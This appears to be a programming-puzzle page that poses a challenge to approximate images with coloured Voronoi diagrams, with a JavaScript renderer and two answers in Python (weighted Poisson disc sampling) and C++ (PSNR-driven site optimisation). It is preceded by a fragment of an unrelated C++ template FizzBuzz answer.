... // template <template<typename> class f, typename x0> struct Iterate { typedef Cons<x0, Iterate<f, f<x0> > > eval; }; // // Map a function over a list // template <template<typename> class a, typename b> struct Map { typedef typename Map<a, typename b::eval>::eval eval; }; template <template<typename> class f> struct Map<f, Nil> { typedef Nil eval; }; template <template<typename> class f, typename x, typename xs> struct Map<f, Cons<x,xs> > { typedef Cons<f<x>, Map<f,xs> > eval; }; // // Some useful things for making fizzes and buzzes // struct Fizz { static void print(ostream & o) { o << "Fizz"; } }; struct Buzz { static void print(ostream & o) { o << "Buzz"; } }; struct FizzBuzz { static void print(ostream & o) { o << "FizzBuzz"; } }; // // Some useful numbers // typedef Succ<Zero> One; typedef Succ<One> Two; typedef Succ<Two> Three; typedef Plus<Two, Three> Five; typedef Times<Two, Five> Ten; typedef Times<Three, Five> Fifteen; typedef Times<Ten, Ten> OneHundred; // // Booleans // struct True {}; struct False {}; // // If/then/else // template <typename p, typename t, typename f> struct If { typedef typename If<typename p::eval, t, f>::eval eval; static void print(ostream & o) { eval::print(o); } }; template <typename t, typename _> struct If<True, t, _> { typedef t eval; }; template <typename _, typename f> struct If<False, _, f> { typedef f eval; }; // // Testing if x divides y // template <typename a, typename b, typename c> struct _Divides { typedef typename _Divides<typename a::eval, typename b::eval, typename c::eval>::eval eval; }; template <typename _, typename __> struct _Divides<_, __, Zero> { typedef False eval; }; template <typename a> struct _Divides<a, Zero, Zero> { typedef True eval; }; template <typename a, typename b> struct _Divides<a, Zero, b> { typedef typename _Divides<a, a, b>::eval eval; }; template <typename _, typename n, typename m> struct _Divides<_, Succ<n>, Succ<m> > { typedef typename _Divides<_, n, m>::eval eval; }; template <typename a, typename b> struct Divides { typedef typename _Divides<a, a, b>::eval eval; }; // // "Otherwise" sugar // template <typename a> struct Otherwise { typedef typename a::eval eval; static void print(ostream & o) { a::eval::print(o); } }; // // Convert a number to fizzes, buzzes as appropriate // template <typename n> struct toFizzBuzz { typedef typename If< Divides<Fifteen, n>, FizzBuzz, If< Divides< Five, n>, Buzz, If< Divides< Three, n>, Fizz, Otherwise< n > > > >::eval eval; }; int main(void) { // Make all of the natural numbers typedef Iterate<Succ, One> Naturals; // Apply fizzbuzz rules to every natural number typedef Map<toFizzBuzz, Naturals> FizzBuzzedNaturals; // Print out the first hundred fizzbuzzed numbers Take<OneHundred, FizzBuzzedNaturals>::eval::print(cout); return 0; } ``` ]
[Question] [ *Credits to Calvin's Hobbies for nudging my challenge idea in the right direction.* Consider a set of points in the plane, which we will call **sites**, and associate a colour with each site. Now you can paint the entire plane by colouring each point with the colour of the closest site. This is called a Voronoi map (or [Voronoi diagram](http://en.wikipedia.org/wiki/Voronoi_diagram)). In principle, Voronoi maps can be defined for any distance metric, but we'll simply use the usual Euclidean distance `r = √(x² + y²)`. *(**Note:** You do not necessarily have to know how to compute and render one of these to compete in this challenge.)* Here is an example with 100 sites: ![enter image description here](https://i.stack.imgur.com/9v7DT.png) If you look at any cell, then all points within that cell are closer to the corresponding site than to any other site. Your task is to approximate a given image with such a Voronoi map. You're given the image in any convenient raster graphics format, as well as an integer **N**. You should then produce up to **N** sites, and a colour for each site, such that the Voronoi map based on these sites resembles the input image as closely as possible. You can use the Stack Snippet at the bottom of this challenge to render a Voronoi map from your output, or you can render it yourself if you prefer. You *may* use built-in or third-party functions to compute a Voronoi map from a set of sites (if you need to). This is a popularity contest, so the answer with the most net votes wins. Voters are encouraged to judge answers by * how well the original images and their colours are approximated. * how well the algorithm works on different kinds of images. * how well the algorithm works for small **N**. * whether the algorithm adaptively clusters points in regions of the image that require more detail. ## Test Images Here are a few images to test your algorithm on (some of our usual suspects, some new ones). Click the pictures for larger versions. [![Great Wave](https://i.stack.imgur.com/56MVN.png)](http://upload.wikimedia.org/wikipedia/commons/thumb/0/0d/Great_Wave_off_Kanagawa2.jpg/800px-Great_Wave_off_Kanagawa2.jpg) [![Hedgehog](https://i.stack.imgur.com/SO19D.png)](https://i.stack.imgur.com/5eUHY.jpg) [![Beach](https://i.stack.imgur.com/Ji4fa.png)](https://i.stack.imgur.com/IIiLc.jpg) [![Cornell](https://i.stack.imgur.com/XiClh.png)](https://i.stack.imgur.com/4iKrE.png) [![Saturn](https://i.stack.imgur.com/PNA8p.png)](https://i.stack.imgur.com/Du35b.jpg) [![Brown Bear](https://i.stack.imgur.com/vFMZu.png)](http://upload.wikimedia.org/wikipedia/commons/thumb/2/2a/Brown_bear_%28Ursus_arctos_arctos%29_running.jpg/796px-Brown_bear_%28Ursus_arctos_arctos%29_running.jpg) [![Yoshi](https://i.stack.imgur.com/buEyI.png)](https://i.stack.imgur.com/XC4zY.png) [![Mandrill](https://i.stack.imgur.com/B66Zs.png)](https://i.stack.imgur.com/fCTEl.png) [![Crab Nebula](https://i.stack.imgur.com/6AjIN.png)](http://upload.wikimedia.org/wikipedia/commons/thumb/0/00/Crab_Nebula.jpg/600px-Crab_Nebula.jpg) [![Geobits' Kid](https://i.stack.imgur.com/UjxxU.png)](https://i.stack.imgur.com/bLGD9.png) [![Waterfall](https://i.stack.imgur.com/JTsT2.png)](http://upload.wikimedia.org/wikipedia/en/e/e8/Escher_Waterfall.jpg) [![Scream](https://i.stack.imgur.com/l2wGm.png)](https://i.stack.imgur.com/I3XrT.png) *The beach in the first row was drawn by [Olivia Bell](http://pairlee.tumblr.com/), and included with her permission.* If you want an extra challenge, try [Yoshi with a white background](https://i.stack.imgur.com/PzxvJ.png) and get his belly line right. You can find all of these test images [in this imgur gallery](https://i.stack.imgur.com/fh9Un.jpg) where you can download all of them as a zip file. The album also contains a random Voronoi diagram as another test. For reference, [here is the data that generated it](http://pastebin.com/ZQRNwNTk). Please include example diagrams for a variety of different images and **N**, e.g. 100, 300, 1000, 3000 (as well as pastebins to some of the corresponding cell specifications). You may use or omit black edges between the cells as you see fit (this may look better on some images than on others). Do not include the sites though (except in a separate example maybe if you want to explain how your site placement works, of course). If you want to show a large number of results, you can create a gallery over on [imgur.com](http://imgur.com/), to keep the size of the answers reasonable. Alternatively, put thumbnails in your post and make them links to larger images, like I did [in my reference answer](https://codegolf.stackexchange.com/a/50301/8478). You can get the small thumbnails by appending `s` to the file name in the imgur.com link (e.g. `I3XrT.png` -> `I3XrTs.png`). Also, feel free to use other test images, if you find something nice. ## Renderer Paste your output into the following Stack Snippet to render your results. The exact list format is irrelevant, as long as each cell is specified by 5 floating point numbers in the order `x y r g b`, where `x` and `y` are the coordinates of the cell's site, and `r g b` are the red, green and blue colour channels in the range `0 ≤ r, g, b ≤ 1`. The snippet provides options to specify a line width of the cell edges, and whether or not the cell sites should be shown (the latter mostly for debugging purposes). But note that the output is only re-rendered when the cell specifications change - so if you modify some of the other options, add a space to the cells or something. ``` function draw() { document.getElementById("output").innerHTML = svg } function drawMap() { var cells = document.getElementById("cells").value; var showSites = document.getElementById("showSites").checked; var showCells = document.getElementById("showCells").checked; var lineWidth = parseFloat(document.getElementById("linewidth").value); var width = parseInt(document.getElementById("width").value); var height = parseInt(document.getElementById("height").value); var e = prefix.replace('{{WIDTH}}', width) .replace('{{HEIGHT}}', height); cells = cells.match(/(?:\d*\.\d+|\d+\.\d*|\d+)(?:e-?\d+)?/ig); var sitesDom = ''; var sites = [] for (i = 0; i < cells.length; i+=5) { x = parseFloat(cells[i]); y = parseFloat(cells[i+1]); r = Math.floor(parseFloat(cells[i+2])*255); g = Math.floor(parseFloat(cells[i+3])*255); b = Math.floor(parseFloat(cells[i+4])*255); sitesDom += '<circle cx="' + x + '" + cy="' + y + '" r="1" fill="black"/>'; sites.push({ x: x, y: y, r: r, g: g, b: b }); } if (showCells) { var bbox = { xl: 0, xr: width, yt: 0, yb: height }; var voronoi = new Voronoi(); var diagram = voronoi.compute(sites, bbox); for (i = 0; i < diagram.cells.length; ++i) { var cell = diagram.cells[i]; var site = cell.site; var coords = ''; for (var j = 0; j < cell.halfedges.length; ++j) { var vertex = cell.halfedges[j].getStartpoint(); coords += ' ' + vertex.x + ',' + vertex.y; } var color = 'rgb('+site.r+','+site.g+','+site.b+')'; e += '<polygon fill="'+color+'" points="' + coords + '" stroke="' + (lineWidth ? 'black' : color) + '" stroke-width="'+Math.max(0.6,lineWidth)+'"/>'; } } if (showSites) e += sitesDom; e += suffix; e += '<br> Using <b>'+sites.length+'</b> cells.'; svg = e; draw(); } var prefix = '<svg width="{{WIDTH}}" height="{{HEIGHT}}">', suffix = "</svg>", scale = 0.95, offset = 225, radius = scale*offset, svg = ""; ``` ``` svg { position: relative; } ``` ``` <script src="http://www.raymondhill.net/voronoi/rhill-voronoi-core.js"></script> Line width: <input id="linewidth" type="text" size="1" value="0" /> <br> Show sites: <input id="showSites" type="checkbox" /> <br> Show cells: <input id="showCells" type="checkbox" checked="checked" /> <br> <br> Dimensions: <input id="width" type="text" size="1" value="400" /> x <input id="height" type="text" size="1" value="300" /> <br> Paste cell specifications here <br> <textarea id="cells" cols="60" rows="10" oninput='drawMap()'></textarea> <br> <br> <div id="output"></div> ``` Massive credits to Raymond Hill for writing [this really nice JS Voronoi library](https://github.com/gorhill/Javascript-Voronoi). ### Related Challenges * [Paint by Numbers](https://codegolf.stackexchange.com/q/42217/8478) * [Photomosaics or: How Many Programmers Does it Take to Replace a Light Bulb?](https://codegolf.stackexchange.com/q/34484/8478) [Answer] # Python + [scipy](http://www.scipy.org/) + [scikit-image](http://scikit-image.org/), weighted Poisson disc sampling My solution is rather complex. I do some preprocessing on the image to remove noise and get a mapping how 'interesting' each point is (using a combination of local entropy and edge detection): ![](https://i.stack.imgur.com/mLWZp.png) Then I choose sampling points using [Poisson disc sampling](http://bl.ocks.org/mbostock/dbb02448b0f93e4c82c3) with a twist: the distance of the circle is determined by the weight we determined earlier. Then once I have the sampling points I divide up the image in voronoi segments and assign the L\*a\*b\* average of the color values inside each segment to each segment. I have a lot of heuristics, and I also must do a bit of math to make sure the number of sample points is close to `N`. I get `N` exactly by overshooting *slightly*, and then dropping some points with an heuristic. In terms of runtime, this filter isn't *cheap*, but no image below took more than 5 seconds to make. Without further ado: ``` import math import random import collections import os import sys import functools import operator as op import numpy as np import warnings from scipy.spatial import cKDTree as KDTree from skimage.filters.rank import entropy from skimage.morphology import disk, dilation from skimage.util import img_as_ubyte from skimage.io import imread, imsave from skimage.color import rgb2gray, rgb2lab, lab2rgb from skimage.filters import sobel, gaussian_filter from skimage.restoration import denoise_bilateral from skimage.transform import downscale_local_mean # Returns a random real number in half-open range [0, x). def rand(x): r = x while r == x: r = random.uniform(0, x) return r def poisson_disc(img, n, k=30): h, w = img.shape[:2] nimg = denoise_bilateral(img, sigma_range=0.15, sigma_spatial=15) img_gray = rgb2gray(nimg) img_lab = rgb2lab(nimg) entropy_weight = 2**(entropy(img_as_ubyte(img_gray), disk(15))) entropy_weight /= np.amax(entropy_weight) entropy_weight = gaussian_filter(dilation(entropy_weight, disk(15)), 5) color = [sobel(img_lab[:, :, channel])**2 for channel in range(1, 3)] edge_weight = functools.reduce(op.add, color) ** (1/2) / 75 edge_weight = dilation(edge_weight, disk(5)) weight = (0.3*entropy_weight + 0.7*edge_weight) weight /= np.mean(weight) weight = weight max_dist = min(h, w) / 4 avg_dist = math.sqrt(w * h / (n * math.pi * 0.5) ** (1.05)) min_dist = avg_dist / 4 dists = np.clip(avg_dist / weight, min_dist, max_dist) def gen_rand_point_around(point): radius = random.uniform(dists[point], max_dist) angle = rand(2 * math.pi) offset = np.array([radius * math.sin(angle), radius * math.cos(angle)]) return tuple(point + offset) def has_neighbours(point): point_dist = dists[point] distances, idxs = tree.query(point, len(sample_points) + 1, distance_upper_bound=max_dist) if len(distances) == 0: return True for dist, idx in zip(distances, idxs): if np.isinf(dist): break if dist < point_dist and dist < dists[tuple(tree.data[idx])]: return True return False # Generate first point randomly. first_point = (rand(h), rand(w)) to_process = [first_point] sample_points = [first_point] tree = KDTree(sample_points) while to_process: # Pop a random point. point = to_process.pop(random.randrange(len(to_process))) for _ in range(k): new_point = gen_rand_point_around(point) if (0 <= new_point[0] < h and 0 <= new_point[1] < w and not has_neighbours(new_point)): to_process.append(new_point) sample_points.append(new_point) tree = KDTree(sample_points) if len(sample_points) % 1000 == 0: print("Generated {} points.".format(len(sample_points))) print("Generated {} points.".format(len(sample_points))) return sample_points def sample_colors(img, sample_points, n): h, w = img.shape[:2] print("Sampling colors...") tree = KDTree(np.array(sample_points)) color_samples = collections.defaultdict(list) img_lab = rgb2lab(img) xx, yy = np.meshgrid(np.arange(h), np.arange(w)) pixel_coords = np.c_[xx.ravel(), yy.ravel()] nearest = tree.query(pixel_coords)[1] i = 0 for pixel_coord in pixel_coords: color_samples[tuple(tree.data[nearest[i]])].append( img_lab[tuple(pixel_coord)]) i += 1 print("Computing color means...") samples = [] for point, colors in color_samples.items(): avg_color = np.sum(colors, axis=0) / len(colors) samples.append(np.append(point, avg_color)) if len(samples) > n: print("Downsampling {} to {} points...".format(len(samples), n)) while len(samples) > n: tree = KDTree(np.array(samples)) dists, neighbours = tree.query(np.array(samples), 2) dists = dists[:, 1] worst_idx = min(range(len(samples)), key=lambda i: dists[i]) samples[neighbours[worst_idx][1]] += samples[neighbours[worst_idx][0]] samples[neighbours[worst_idx][1]] /= 2 samples.pop(neighbours[worst_idx][0]) color_samples = [] for sample in samples: color = lab2rgb([[sample[2:]]])[0][0] color_samples.append(tuple(sample[:2][::-1]) + tuple(color)) return color_samples def render(img, color_samples): print("Rendering...") h, w = [2*x for x in img.shape[:2]] xx, yy = np.meshgrid(np.arange(h), np.arange(w)) pixel_coords = np.c_[xx.ravel(), yy.ravel()] colors = np.empty([h, w, 3]) coords = [] for color_sample in color_samples: coord = tuple(x*2 for x in color_sample[:2][::-1]) colors[coord] = color_sample[2:] coords.append(coord) tree = KDTree(coords) idxs = tree.query(pixel_coords)[1] data = colors[tuple(tree.data[idxs].astype(int).T)].reshape((w, h, 3)) data = np.transpose(data, (1, 0, 2)) return downscale_local_mean(data, (2, 2, 1)) if __name__ == "__main__": warnings.simplefilter("ignore") img = imread(sys.argv[1])[:, :, :3] print("Calibrating...") mult = 1.02 * 500 / len(poisson_disc(img, 500)) for n in (100, 300, 1000, 3000): print("Sampling {} for size {}.".format(sys.argv[1], n)) sample_points = poisson_disc(img, mult * n) samples = sample_colors(img, sample_points, n) base = os.path.basename(sys.argv[1]) with open("{}-{}.txt".format(os.path.splitext(base)[0], n), "w") as f: for sample in samples: f.write(" ".join("{:.3f}".format(x) for x in sample) + "\n") imsave("autorenders/{}-{}.png".format(os.path.splitext(base)[0], n), render(img, samples)) print("Done!") ``` # [Images](https://i.stack.imgur.com/HNFf9.jpg) Respectively `N` is 100, 300, 1000 and 3000: [![abc](https://i.stack.imgur.com/ruTdz.jpg)](https://i.stack.imgur.com/dVHGo.png) [![abc](https://i.stack.imgur.com/c0XKf.jpg)](https://i.stack.imgur.com/KwNqL.png) [![abc](https://i.stack.imgur.com/rumuJ.jpg)](https://i.stack.imgur.com/uo8fs.png) [![abc](https://i.stack.imgur.com/ekOwj.jpg)](https://i.stack.imgur.com/xDKtM.png) [![abc](https://i.stack.imgur.com/YMGXR.jpg)](https://i.stack.imgur.com/IGhdG.png) [![abc](https://i.stack.imgur.com/jd05x.jpg)](https://i.stack.imgur.com/gEH8w.png) [![abc](https://i.stack.imgur.com/fJm8L.jpg)](https://i.stack.imgur.com/IJQw4.png) [![abc](https://i.stack.imgur.com/NGtth.jpg)](https://i.stack.imgur.com/v5pl8.png) [![abc](https://i.stack.imgur.com/zmYFM.jpg)](https://i.stack.imgur.com/a4GhI.png) [![abc](https://i.stack.imgur.com/mxJib.jpg)](https://i.stack.imgur.com/XnTFB.png) [![abc](https://i.stack.imgur.com/kXmQY.jpg)](https://i.stack.imgur.com/QqdOS.png) [![abc](https://i.stack.imgur.com/zMbtu.jpg)](https://i.stack.imgur.com/IU6QO.png) [![abc](https://i.stack.imgur.com/Y3yDy.jpg)](https://i.stack.imgur.com/CgjVC.png) [![abc](https://i.stack.imgur.com/6Plr9.jpg)](https://i.stack.imgur.com/nbHuN.png) [![abc](https://i.stack.imgur.com/nC95I.jpg)](https://i.stack.imgur.com/BJv7J.png) [![abc](https://i.stack.imgur.com/pD726.jpg)](https://i.stack.imgur.com/ITQgu.png) [![abc](https://i.stack.imgur.com/dZS1k.jpg)](https://i.stack.imgur.com/fl5c7.png) [![abc](https://i.stack.imgur.com/vbTkF.jpg)](https://i.stack.imgur.com/Lc8DY.png) [![abc](https://i.stack.imgur.com/K3thH.jpg)](https://i.stack.imgur.com/ylR8C.png) [![abc](https://i.stack.imgur.com/miuxp.jpg)](https://i.stack.imgur.com/G9htP.png) [![abc](https://i.stack.imgur.com/HDILm.jpg)](https://i.stack.imgur.com/2M6tC.png) [![abc](https://i.stack.imgur.com/u3P7W.jpg)](https://i.stack.imgur.com/itD5I.png) [![abc](https://i.stack.imgur.com/SdLq2.jpg)](https://i.stack.imgur.com/GPKVW.png) [![abc](https://i.stack.imgur.com/UtyGs.jpg)](https://i.stack.imgur.com/fHa3F.png) [![abc](https://i.stack.imgur.com/8bvEl.jpg)](https://i.stack.imgur.com/q1OMV.png) [![abc](https://i.stack.imgur.com/gZQmL.jpg)](https://i.stack.imgur.com/sIMuM.png) [![abc](https://i.stack.imgur.com/n8yOV.jpg)](https://i.stack.imgur.com/5sDaY.png) [![abc](https://i.stack.imgur.com/bDeOf.jpg)](https://i.stack.imgur.com/Dgggd.png) [![abc](https://i.stack.imgur.com/X6u2A.jpg)](https://i.stack.imgur.com/nFyKc.png) [![abc](https://i.stack.imgur.com/ucLWp.jpg)](https://i.stack.imgur.com/6fDkh.png) [![abc](https://i.stack.imgur.com/9rKiC.jpg)](https://i.stack.imgur.com/VFgLb.png) [![abc](https://i.stack.imgur.com/loAOb.jpg)](https://i.stack.imgur.com/aQYBJ.png) [![abc](https://i.stack.imgur.com/VaqTo.jpg)](https://i.stack.imgur.com/hmWOD.png) [![abc](https://i.stack.imgur.com/ED761.jpg)](https://i.stack.imgur.com/CZYUB.png) [![abc](https://i.stack.imgur.com/WSOfa.jpg)](https://i.stack.imgur.com/vXgk7.png) [![abc](https://i.stack.imgur.com/cshe7.jpg)](https://i.stack.imgur.com/QJUW0.png) [![abc](https://i.stack.imgur.com/8bTxG.jpg)](https://i.stack.imgur.com/WtU8A.png) [![abc](https://i.stack.imgur.com/Q3QwD.jpg)](https://i.stack.imgur.com/pNoya.png) [![abc](https://i.stack.imgur.com/vKJE3.jpg)](https://i.stack.imgur.com/vH9td.png) [![abc](https://i.stack.imgur.com/JXq3j.jpg)](https://i.stack.imgur.com/FdJGp.png) [![abc](https://i.stack.imgur.com/cj9DN.jpg)](https://i.stack.imgur.com/v9uKU.png) [![abc](https://i.stack.imgur.com/kiDd0.jpg)](https://i.stack.imgur.com/0Qskp.png) [![abc](https://i.stack.imgur.com/MhPlM.jpg)](https://i.stack.imgur.com/4AISF.png) [![abc](https://i.stack.imgur.com/olBNi.jpg)](https://i.stack.imgur.com/4EiZx.png) [![abc](https://i.stack.imgur.com/pzRpc.jpg)](https://i.stack.imgur.com/93oTQ.png) [![abc](https://i.stack.imgur.com/VQlcK.jpg)](https://i.stack.imgur.com/9UgfV.png) [![abc](https://i.stack.imgur.com/fnxf2.jpg)](https://i.stack.imgur.com/V0F0F.png) [![abc](https://i.stack.imgur.com/VHl5l.jpg)](https://i.stack.imgur.com/tM4gL.png) [![abc](https://i.stack.imgur.com/4gg8t.jpg)](https://i.stack.imgur.com/wPO03.png) [![abc](https://i.stack.imgur.com/uX77D.jpg)](https://i.stack.imgur.com/IUChX.png) [![abc](https://i.stack.imgur.com/WeDfh.jpg)](https://i.stack.imgur.com/M87IR.png) [![abc](https://i.stack.imgur.com/NdtdC.jpg)](https://i.stack.imgur.com/e1YsK.png) [Answer] # C++ My approach is quite slow, but I'm very happy with quality of the results that it gives, particularly with respect to preserving edges. For example, here's [Yoshi](http://pastebin.com/yqTKHkaU) and the [Cornell Box](http://pastebin.com/dpezQfRw) with just 1000 sites each: ![](https://i.stack.imgur.com/IrVpe.png) ![](https://i.stack.imgur.com/BinmQ.png) There are two main parts that make it tick. The first, embodied in the `evaluate()` function takes a set of candidate site locations, sets the optimal colors on them and returns a score for the [PSNR](http://en.wikipedia.org/wiki/Peak_signal-to-noise_ratio) of the rendered Voronoi tessellation versus the target image. The colors for each site are determined by averaging target image pixels covered by the cell around the site. I use [Welford's algorithm](http://en.wikipedia.org/wiki/Algorithms_for_calculating_variance#Online_algorithm) to help compute both the best color for each cell and the resulting PSNR using just a single pass over the image by exploiting the relationship between variance, MSE, and PSNR. This reduces the problem to one of finding the best set of site locations without particular regard to color. The second part then, embodied in `main()`, tries to find this set. It starts by choosing a set of points at random. Then, in each step it removes one point (going round-robin) and tests a set of random candidate points to replace it. The one that yields the highest PSNR of the bunch is accepted and kept. Effectively, this causes the site to jump to a new location and generally improves the image bit-by-bit. Note that the algorithm intentionally does *not* retain the original location as a candidate. Sometimes this means that the jump lowers the overall image quality. Allowing this to happen helps to avoid getting stuck in local maxima. It also gives a stopping criteria; the program terminates after going a certain number of steps without improving on the best set of sites found so far. Note that this implementation is fairly basic and can easily take hours of CPU-core time, especially as the number of sites grows. It recomputes the complete Voronoi map for every candidate and brute force tests the distance to all sites for each pixel. Since each operation involves removing one point at a time and adding another, the actual changes to the image at each step are going to be fairly local. There are algorithms for efficiently incrementally updating a Voronoi diagram and I believe they'd give this algorithm a tremendous speedup. For this contest, however, I've chosen to keep things simple and brute-force. ## Code ``` #include <cstdlib> #include <cmath> #include <string> #include <vector> #include <fstream> #include <istream> #include <ostream> #include <iostream> #include <algorithm> #include <random> static auto const decimation = 2; static auto const candidates = 96; static auto const termination = 200; using namespace std; struct rgb {float red, green, blue;}; struct img {int width, height; vector<rgb> pixels;}; struct site {float x, y; rgb color;}; img read(string const &name) { ifstream file{name, ios::in | ios::binary}; auto result = img{0, 0, {}}; if (file.get() != 'P' || file.get() != '6') return result; auto skip = [&](){ while (file.peek() < '0' || '9' < file.peek()) if (file.get() == '#') while (file.peek() != '\r' && file.peek() != '\n') file.get(); }; auto maximum = 0; skip(); file >> result.width; skip(); file >> result.height; skip(); file >> maximum; file.get(); for (auto pixel = 0; pixel < result.width * result.height; ++pixel) { auto red = file.get() * 1.0f / maximum; auto green = file.get() * 1.0f / maximum; auto blue = file.get() * 1.0f / maximum; result.pixels.emplace_back(rgb{red, green, blue}); } return result; } float evaluate(img const &target, vector<site> &sites) { auto counts = vector<int>(sites.size()); auto variance = vector<rgb>(sites.size()); for (auto &site : sites) site.color = rgb{0.0f, 0.0f, 0.0f}; for (auto y = 0; y < target.height; y += decimation) for (auto x = 0; x < target.width; x += decimation) { auto best = 0; auto closest = 1.0e30f; for (auto index = 0; index < sites.size(); ++index) { float distance = ((x - sites[index].x) * (x - sites[index].x) + (y - sites[index].y) * (y - sites[index].y)); if (distance < closest) { best = index; closest = distance; } } ++counts[best]; auto &pixel = target.pixels[y * target.width + x]; auto &color = sites[best].color; rgb delta = {pixel.red - color.red, pixel.green - color.green, pixel.blue - color.blue}; color.red += delta.red / counts[best]; color.green += delta.green / counts[best]; color.blue += delta.blue / counts[best]; variance[best].red += delta.red * (pixel.red - color.red); variance[best].green += delta.green * (pixel.green - color.green); variance[best].blue += delta.blue * (pixel.blue - color.blue); } auto error = 0.0f; auto count = 0; for (auto index = 0; index < sites.size(); ++index) { if (!counts[index]) { auto x = min(max(static_cast<int>(sites[index].x), 0), target.width - 1); auto y = min(max(static_cast<int>(sites[index].y), 0), target.height - 1); sites[index].color = target.pixels[y * target.width + x]; } count += counts[index]; error += variance[index].red + variance[index].green + variance[index].blue; } return 10.0f * log10f(count * 3 / error); } void write(string const &name, int const width, int const height, vector<site> const &sites) { ofstream file{name, ios::out}; file << width << " " << height << endl; for (auto const &site : sites) file << site.x << " " << site.y << " " << site.color.red << " "<< site.color.green << " "<< site.color.blue << endl; } int main(int argc, char **argv) { auto rng = mt19937{random_device{}()}; auto uniform = uniform_real_distribution<float>{0.0f, 1.0f}; auto target = read(argv[1]); auto sites = vector<site>{}; for (auto point = atoi(argv[2]); point; --point) sites.emplace_back(site{ target.width * uniform(rng), target.height * uniform(rng)}); auto greatest = 0.0f; auto remaining = termination; for (auto step = 0; remaining; ++step, --remaining) { auto best_candidate = sites; auto best_psnr = 0.0f; #pragma omp parallel for for (auto candidate = 0; candidate < candidates; ++candidate) { auto trial = sites; #pragma omp critical { trial[step % sites.size()].x = target.width * (uniform(rng) * 1.2f - 0.1f); trial[step % sites.size()].y = target.height * (uniform(rng) * 1.2f - 0.1f); } auto psnr = evaluate(target, trial); #pragma omp critical if (psnr > best_psnr) { best_candidate = trial; best_psnr = psnr; } } sites = best_candidate; if (best_psnr > greatest) { greatest = best_psnr; remaining = termination; write(argv[3], target.width, target.height, sites); } cout << "Step " << step << "/" << remaining << ", PSNR = " << best_psnr << endl; } return 0; } ``` ## Running The program is self-contained and has no external dependencies beyond the standard library, but it does require images to be in the [binary PPM](http://netpbm.sourceforge.net/doc/ppm.html) format. I use [ImageMagick](http://www.imagemagick.org/script/index.php) to convert images to PPM, though GIMP and quite a few other programs can do it too. To compile it, save the program as `voronoi.cpp` and then run: ``` g++ -std=c++11 -fopenmp -O3 -o voronoi voronoi.cpp ``` I expect it will probably work on Windows with recent versions of Visual Studio, though I haven't tried this. You'll want to make sure that you're compiling with C++11 or better and OpenMP enabled if you do. OpenMP is not strictly necessary, but it helps a lot in making the execution times more tolerable. To run it, do something like: ``` ./voronoi cornell.ppm 1000 cornell-1000.txt ``` The later file will be updated with the site data as it goes. The first line will have the width and height of the image, followed by lines of x, y, r, g, b values suitable for copying and pasting into the Javascript renderer in the problem description. The three constants at the top of the program allow you to tune it for speed versus quality. The `decimation` factor coarsens the target image when evaluating a set of sites for color and PSNR. The higher it is, the faster the program will run. Setting it to 1 uses the full resolution image. The `candidates` constant controls how many candidates to test on each step. Higher gives a better chance of finding a good spot to jump to but makes the program slower. Finally, `termination` is how many steps the program can go without improving its output before it quits. Increasing it may give better results but make it take marginally longer. ## Images `N` = 100, 300, 1000, and 3000: [![](https://i.stack.imgur.com/HCE4F.jpg)](https://i.stack.imgur.com/NU85o.png) [![](https://i.stack.imgur.com/bhDlW.jpg)](https://i.stack.imgur.com/lWXfE.png) [![](https://i.stack.imgur.com/7cu5o.jpg)](https://i.stack.imgur.com/6egp1.png) [![](https://i.stack.imgur.com/bG7Rc.jpg)](https://i.stack.imgur.com/6ylCt.png) [![](https://i.stack.imgur.com/YoX8c.jpg)](https://i.stack.imgur.com/fa3cJ.png) [![](https://i.stack.imgur.com/7QpdK.jpg)](https://i.stack.imgur.com/qfthP.png) [![](https://i.stack.imgur.com/MsBbC.jpg)](https://i.stack.imgur.com/TTraF.png) [![](https://i.stack.imgur.com/3kNo3.jpg)](https://i.stack.imgur.com/AM2HI.png) [![](https://i.stack.imgur.com/wigFE.jpg)](https://i.stack.imgur.com/fp6NW.png) [![](https://i.stack.imgur.com/p6JGL.jpg)](https://i.stack.imgur.com/YheT4.png) [![](https://i.stack.imgur.com/prtNi.jpg)](https://i.stack.imgur.com/5OnZv.png) [![](https://i.stack.imgur.com/9IMxM.jpg)](https://i.stack.imgur.com/xFq3W.png) [![](https://i.stack.imgur.com/mTnY0.jpg)](https://i.stack.imgur.com/bNdZr.png) [![](https://i.stack.imgur.com/qgbTO.jpg)](https://i.stack.imgur.com/2WXfq.png) [![](https://i.stack.imgur.com/eHmEF.jpg)](https://i.stack.imgur.com/BinmQ.png) [![](https://i.stack.imgur.com/URDR3.jpg)](https://i.stack.imgur.com/qjqDm.png) [![](https://i.stack.imgur.com/vTwaT.jpg)](https://i.stack.imgur.com/QfhGm.png) [![](https://i.stack.imgur.com/42pZy.jpg)](https://i.stack.imgur.com/n1emC.png) [![](https://i.stack.imgur.com/28JRl.jpg)](https://i.stack.imgur.com/FVEBw.png) [![](https://i.stack.imgur.com/MxO9x.jpg)](https://i.stack.imgur.com/C12Ut.png) [![](https://i.stack.imgur.com/VpKxC.jpg)](https://i.stack.imgur.com/EY6jG.png) [![](https://i.stack.imgur.com/fLSIg.jpg)](https://i.stack.imgur.com/2Giax.png) [![](https://i.stack.imgur.com/VqAwT.jpg)](https://i.stack.imgur.com/z7q6L.png) [![](https://i.stack.imgur.com/ygAR8.jpg)](https://i.stack.imgur.com/n3GXN.png) [![](https://i.stack.imgur.com/iqsdN.jpg)](https://i.stack.imgur.com/JHli3.png) [![](https://i.stack.imgur.com/SI9HQ.jpg)](https://i.stack.imgur.com/dalrj.png) [![](https://i.stack.imgur.com/7hVwU.jpg)](https://i.stack.imgur.com/KNYvi.png) [![](https://i.stack.imgur.com/eipJa.jpg)](https://i.stack.imgur.com/qN7ox.png) [![](https://i.stack.imgur.com/Ycnpi.jpg)](https://i.stack.imgur.com/2yjvy.png) [![](https://i.stack.imgur.com/YRqmi.jpg)](https://i.stack.imgur.com/HRAw9.png) [![](https://i.stack.imgur.com/biYSy.jpg)](https://i.stack.imgur.com/ebLz8.png) [![](https://i.stack.imgur.com/AHABS.jpg)](https://i.stack.imgur.com/LOlBL.png) [![](https://i.stack.imgur.com/tzjr3.jpg)](https://i.stack.imgur.com/4MAZL.png) [![](https://i.stack.imgur.com/a78gu.jpg)](https://i.stack.imgur.com/QG3Vz.png) [![](https://i.stack.imgur.com/OdvoB.jpg)](https://i.stack.imgur.com/dd2Rk.png) [![](https://i.stack.imgur.com/yNVk7.jpg)](https://i.stack.imgur.com/mAnRg.png) [![](https://i.stack.imgur.com/Fbuhs.jpg)](https://i.stack.imgur.com/y81x0.png) [![](https://i.stack.imgur.com/EQb6I.jpg)](https://i.stack.imgur.com/J11P2.png) 